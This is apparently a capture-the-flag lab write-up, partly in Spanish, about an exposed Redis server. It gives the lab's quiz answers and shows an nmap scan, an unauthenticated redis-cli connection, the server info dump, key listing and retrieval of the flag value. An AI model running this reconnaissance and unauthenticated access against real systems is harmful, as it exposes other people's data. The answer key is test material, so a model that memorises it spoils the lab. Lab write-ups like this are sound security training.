

Preguntas

Which TCP port is open on the machine?

6379

Which service is running on the port that is open on the machine?

Redis

What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

In-memory Database

Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

redis-cli

Which flag is used with the Redis command-line utility to specify the hostname?

-h

Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

info

What is the version of the Redis server being used on the target machine?

5.0.7

Which command is used to select the desired database in Redis?

select

How many keys are present inside the database with index 0?

4

Which command is used to obtain all the keys in a database?

keys *

Proceso

Realizar nmap

```
Sudo nmap -sS -sV -p- -Pn -vvv -O 10.129.254.61
```

Entrar en el servidor de Redis con el comando

```
Redis-cli -h 10.129.136.187
```

```
> redis-cli -h 10.129.136.187
```

Ver la información del servidor de Redis con el comando info

```
Set your preferences in ~/.rediscli.rc
10.129.136.187:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:751
run_id:3c515ff79c145def176e59c42a5e6cc943846121
tcp_port:6379
uptime_in_seconds:995
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:11480140
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
```

Seleccionar todas las claves con el comando keys *

```
10.129.136.187:6379> keys *
1) "stor"
2) "temp"
3) "numb"
4) "flag"
10.129.136.187:6379> |
```

Obtener la información de flag con el comando get flag

```
10.129.136.187:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.136.187:6379> |
```